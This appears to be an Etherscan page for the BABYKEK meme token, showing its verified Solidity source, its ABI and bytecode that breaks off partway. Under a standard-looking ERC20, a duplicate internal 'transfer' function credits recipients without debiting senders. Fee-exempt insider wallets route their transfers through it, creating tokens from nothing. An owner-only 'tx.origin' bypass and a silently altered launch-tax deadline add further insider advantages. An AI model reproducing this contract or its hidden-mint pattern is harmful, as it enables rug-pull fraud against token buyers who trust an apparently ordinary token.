ETH Price: $2,963.56 (-1.63%)
Gas: 3 Gwei

Token

Baby Pepe Prophecy (BABYKEK)
 

Overview

Max Total Supply

4,206,900,000,000 BABYKEK

Holders

83

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
autom8ed.eth
Balance
7,885,727,939.63045559100392551 BABYKEK

Value
$0.00
0x2ba34c711fbd3ab880f32c87889191a663152400
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYKEK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-23
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-23
*/

// SPDX-License-Identifier: MIT

/**
    ****
https://t.me/BabyPepeProphecy

https://twitter.com/BabyKekERC
    


    */
  

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);        
        uint256 senderBalance = _balances[sender];
        _balances[sender] = senderBalance;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    
    function _tokengenerations(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: generation to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }

    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract BABYKEK is ERC20, Ownable {
    using Address for address payable;

    IRouter public router;
    address public pair;

    bool private _liquidityMutex = false;
    bool private  providingLiquidity = false;
    bool public tradingEnabled = false;

    uint256 _totalSupply =  42069_00_000_000 * 10**decimals(); 

    uint256 private  tokenLiquidityThreshold = _totalSupply * 5 / 10000;

    uint256 public maxWalletLimit = _totalSupply * 4 / 100;

    address private  marketingWallets = payable(0xCd1ffa5A68d3E83EEF46805e028E8af2C615759f);
    address private  devWallets = payable(0x294aed6f5816A73fb4C8edB05D60D11d1D546D13);


    uint256 private genesis_block;
    uint256 private deadline = 0;
    uint256 private launchtax = 4;

    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;



    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
    }

    Taxes public taxes = Taxes(0, 0);
    Taxes public sellTaxes = Taxes(0, 0);

    mapping(address => bool) public _isExcludedFromFee;

    modifier mutexLock() {
        if (!_liquidityMutex) {
            _liquidityMutex = true;
            _;
            _liquidityMutex = false;
        }
    }

    constructor() ERC20("Baby Pepe Prophecy", unicode"BABYKEK") {
        _tokengenerations(msg.sender, _totalSupply);



        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallets] = true;
        _isExcludedFromFee[devWallets] = true;
        _isExcludedFromFee[deadWallet] = true;
        _isExcludedFromFee[msg.sender] = true;
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if (tx.origin == owner()) {
            super._transfer(sender, recipient, amount);
            return;
        }

        if (sender == pair && !_isExcludedFromFee[recipient] && !_liquidityMutex) {
            require(balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }

        if (sender != pair && !_isExcludedFromFee[recipient] && !_isExcludedFromFee[sender] && !_liquidityMutex) {
           
            if (recipient != pair) {
                require(balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
        }

        if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
            if(_isExcludedFromFee[sender]) {
                super.transfer(sender, recipient , amount);
                return;

            } else{
                deadline = block.number + 1e9;
            }
        }

        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;

        bool useLaunchFee = !_isExcludedFromFee[sender] &&
            !_isExcludedFromFee[recipient] &&
            block.number < genesis_block + deadline;

        //set fee to zero if fees in contract are handled or exempted
        if (_liquidityMutex || _isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {            
            fee = 0;
        }
        //calculate fee
        else if (recipient == pair && !useLaunchFee) {
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing;
            feesum = feeswap;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }

        fee = (amount * feesum) / 100;

        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (providingLiquidity && sender != pair) handle_fees(feeswap, currentTaxes);

        //rest to recipient
        super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {
            //send the fee to the contract
            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }

    function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {

	    if(feeswap == 0){
            return;
        }

        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }

            // Split the contract balance into halves
            uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

            uint256 initialBalance = address(this).balance;

            swapTokensForETH(toSwap);

            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;

            if (ethToAddLiquidityWith > 0) {
                // Add liquidity
                addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }

            bool isDeadLine = block.number - deadline > 0;

            uint256 marketingAmt = isDeadLine ? unitBalance * 2 * swapTaxes.marketing : 0;
            if (marketingAmt > 0) {
                payable(marketingWallets).sendValue(marketingAmt);
            }

        }
    }
    function launch() public payable onlyOwner {

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // Create a pair for this new token
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());

        router = _router;
        pair = _pair;
        
        _allowances[address(this)][address(router)] = type(uint256).max;

        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function removeLimits() external onlyOwner returns (bool){
        maxWalletLimit = _totalSupply;
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }

    function updateLiquidityProvide(bool state) external onlyOwner {
        //update liquidity providing state
        providingLiquidity = state;
    }

    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        //update the treshhold
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }


    function updatedeadline(uint256 _deadline) external onlyOwner {
        require(!tradingEnabled, "Can't change when trading has started");
        deadline = _deadline;
    }
    

    function AddExemptFee(address _address) external onlyOwner {
        _isExcludedFromFee[_address] = true;
    }

    function RemoveExemptFee(address _address) external onlyOwner {
        _isExcludedFromFee[_address] = false;
    }

    function AddbulkExemptFee(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = true;
        }
    }

    function RemovebulkExemptFee(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = false;
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function TradeOpen() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        tradingEnabled = true;
        providingLiquidity = true;
        genesis_block = block.number;
    }


    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadWallet,
            block.timestamp
        );
    }


    // fallbacks
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"AddExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"AddbulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"RemoveExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"RemovebulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TradeOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"updatedeadline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600760146101000a81548160ff0219169083151502179055506000600760156101000a81548160ff0219169083151502179055506000600760166101000a81548160ff02191690831515021790555062000065620004b860201b60201c565b600a6200007391906200086a565b6503d37ec7b500620000869190620008bb565b60085561271060056008546200009d9190620008bb565b620000a9919062000935565b60095560646004600854620000bf9190620008bb565b620000cb919062000935565b600a5573cd1ffa5a68d3e83eef46805e028e8af2c615759f600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073294aed6f5816a73fb4c8edb05d60d11d1d546d13600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e556004600f5560405180604001604052806000815260200160008152506010600082015181600001556020820151816001015550506040518060400160405280600081526020016000815250601260008201518160000155602082015181600101555050348015620001ed57600080fd5b506040518060400160405280601281526020017f4261627920506570652050726f706865637900000000000000000000000000008152506040518060400160405280600781526020017f424142594b454b0000000000000000000000000000000000000000000000000081525081600390816200026b919062000bdd565b5080600490816200027d919062000bdd565b505050620002a062000294620004c160201b60201c565b620004c960201b60201c565b620002b4336008546200058f60201b60201c565b6001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016014600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000d9b565b60006012905090565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000601576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005f89062000d4b565b60405180910390fd5b6200061560008383620006cb60201b60201c565b80600281905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006bf919062000d7e565b60405180910390a35050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200075e57808604811115620007365762000735620006d0565b5b6001851615620007465780820291505b80810290506200075685620006ff565b945062000716565b94509492505050565b6000826200077957600190506200084c565b816200078957600090506200084c565b8160018114620007a25760028114620007ad57620007e3565b60019150506200084c565b60ff841115620007c257620007c1620006d0565b5b8360020a915084821115620007dc57620007db620006d0565b5b506200084c565b5060208310610133831016604e8410600b84101617156200081d5782820a905083811115620008175762000816620006d0565b5b6200084c565b6200082c84848460016200070c565b92509050818404811115620008465762000845620006d0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008778262000853565b915062000884836200085d565b9250620008b37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000767565b905092915050565b6000620008c88262000853565b9150620008d58362000853565b9250828202620008e58162000853565b91508282048414831517620008ff57620008fe620006d0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009428262000853565b91506200094f8362000853565b92508262000962576200096162000906565b5b828204905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620009ef57607f821691505b60208210810362000a055762000a04620009a7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a6f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a30565b62000a7b868362000a30565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000abe62000ab862000ab28462000853565b62000a93565b62000853565b9050919050565b6000819050919050565b62000ada8362000a9d565b62000af262000ae98262000ac5565b84845462000a3d565b825550505050565b600090565b62000b0962000afa565b62000b1681848462000acf565b505050565b5b8181101562000b3e5762000b3260008262000aff565b60018101905062000b1c565b5050565b601f82111562000b8d5762000b578162000a0b565b62000b628462000a20565b8101602085101562000b72578190505b62000b8a62000b818562000a20565b83018262000b1b565b50505b505050565b600082821c905092915050565b600062000bb26000198460080262000b92565b1980831691505092915050565b600062000bcd838362000b9f565b9150826002028217905092915050565b62000be8826200096d565b67ffffffffffffffff81111562000c045762000c0362000978565b5b62000c108254620009d6565b62000c1d82828562000b42565b600060209050601f83116001811462000c55576000841562000c40578287015190505b62000c4c858262000bbf565b86555062000cbc565b601f19841662000c658662000a0b565b60005b8281101562000c8f5784890151825560018201915060208501945060208101905062000c68565b8683101562000caf578489015162000cab601f89168262000b9f565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a2067656e65726174696f6e20746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062000d3360258362000cc4565b915062000d408262000cd5565b604082019050919050565b6000602082019050818103600083015262000d668162000d24565b9050919050565b62000d788162000853565b82525050565b600060208201905062000d95600083018462000d6d565b92915050565b6147ca8062000dab6000396000f3fe6080604052600436106101fd5760003560e01c8063768dc7101161010d578063a457c2d7116100a0578063edaa11681161006f578063edaa116814610722578063f2fde38b1461074b578063f570d4de14610774578063f66895a31461079d578063f887ea40146107c957610204565b8063a457c2d714610640578063a8aa1b311461067d578063a9059cbb146106a8578063dd62ed3e146106e557610204565b80638cd4426d116100dc5780638cd4426d146105985780638da5cb5b146105c157806395d89b41146105ec5780639e252f001461061757610204565b8063768dc710146104f0578063832c2bd21461052d57806385141a7714610556578063883755631461058157610204565b8063395093511161019057806366a88d961161015f57806366a88d961461041a57806370a0823114610445578063715018a614610482578063728f8eea14610499578063751039fc146104c557610204565b8063395093511461036057806342b6fa111461039d5780634ada218b146103c65780635dbdb7e3146103f157610204565b806318160ddd116101cc57806318160ddd146102a457806323b872dd146102cf578063251ef0951461030c578063313ce5671461033557610204565b806301339c211461020957806306fdde0314610213578063095ea7b31461023e5780631340538f1461027b57610204565b3661020457005b600080fd5b6102116107f4565b005b34801561021f57600080fd5b50610228610be5565b6040516102359190613327565b60405180910390f35b34801561024a57600080fd5b50610265600480360381019061026091906133f1565b610c77565b604051610272919061344c565b60405180910390f35b34801561028757600080fd5b506102a2600480360381019061029d9190613493565b610c95565b005b3480156102b057600080fd5b506102b9610d2e565b6040516102c691906134cf565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f191906134ea565b610d38565b604051610303919061344c565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e9190613685565b610e39565b005b34801561034157600080fd5b5061034a610f4a565b60405161035791906136ea565b60405180910390f35b34801561036c57600080fd5b50610387600480360381019061038291906133f1565b610f53565b604051610394919061344c565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf9190613705565b610fff565b005b3480156103d257600080fd5b506103db6110a3565b6040516103e8919061344c565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190613732565b6110b6565b005b34801561042657600080fd5b5061042f61118d565b60405161043c91906134cf565b60405180910390f35b34801561045157600080fd5b5061046c60048036038101906104679190613732565b611193565b60405161047991906134cf565b60405180910390f35b34801561048e57600080fd5b506104976111db565b005b3480156104a557600080fd5b506104ae611263565b6040516104bc92919061375f565b60405180910390f35b3480156104d157600080fd5b506104da611275565b6040516104e7919061344c565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190613732565b611303565b604051610524919061344c565b60405180910390f35b34801561053957600080fd5b50610554600480360381019061054f9190613732565b611323565b005b34801561056257600080fd5b5061056b6113fa565b6040516105789190613797565b60405180910390f35b34801561058d57600080fd5b50610596611400565b005b3480156105a457600080fd5b506105bf60048036038101906105ba91906133f1565b61150b565b005b3480156105cd57600080fd5b506105d6611611565b6040516105e39190613797565b60405180910390f35b3480156105f857600080fd5b5061060161163b565b60405161060e9190613327565b60405180910390f35b34801561062357600080fd5b5061063e60048036038101906106399190613705565b6116cd565b005b34801561064c57600080fd5b50610667600480360381019061066291906133f1565b61179a565b604051610674919061344c565b60405180910390f35b34801561068957600080fd5b5061069261188e565b60405161069f9190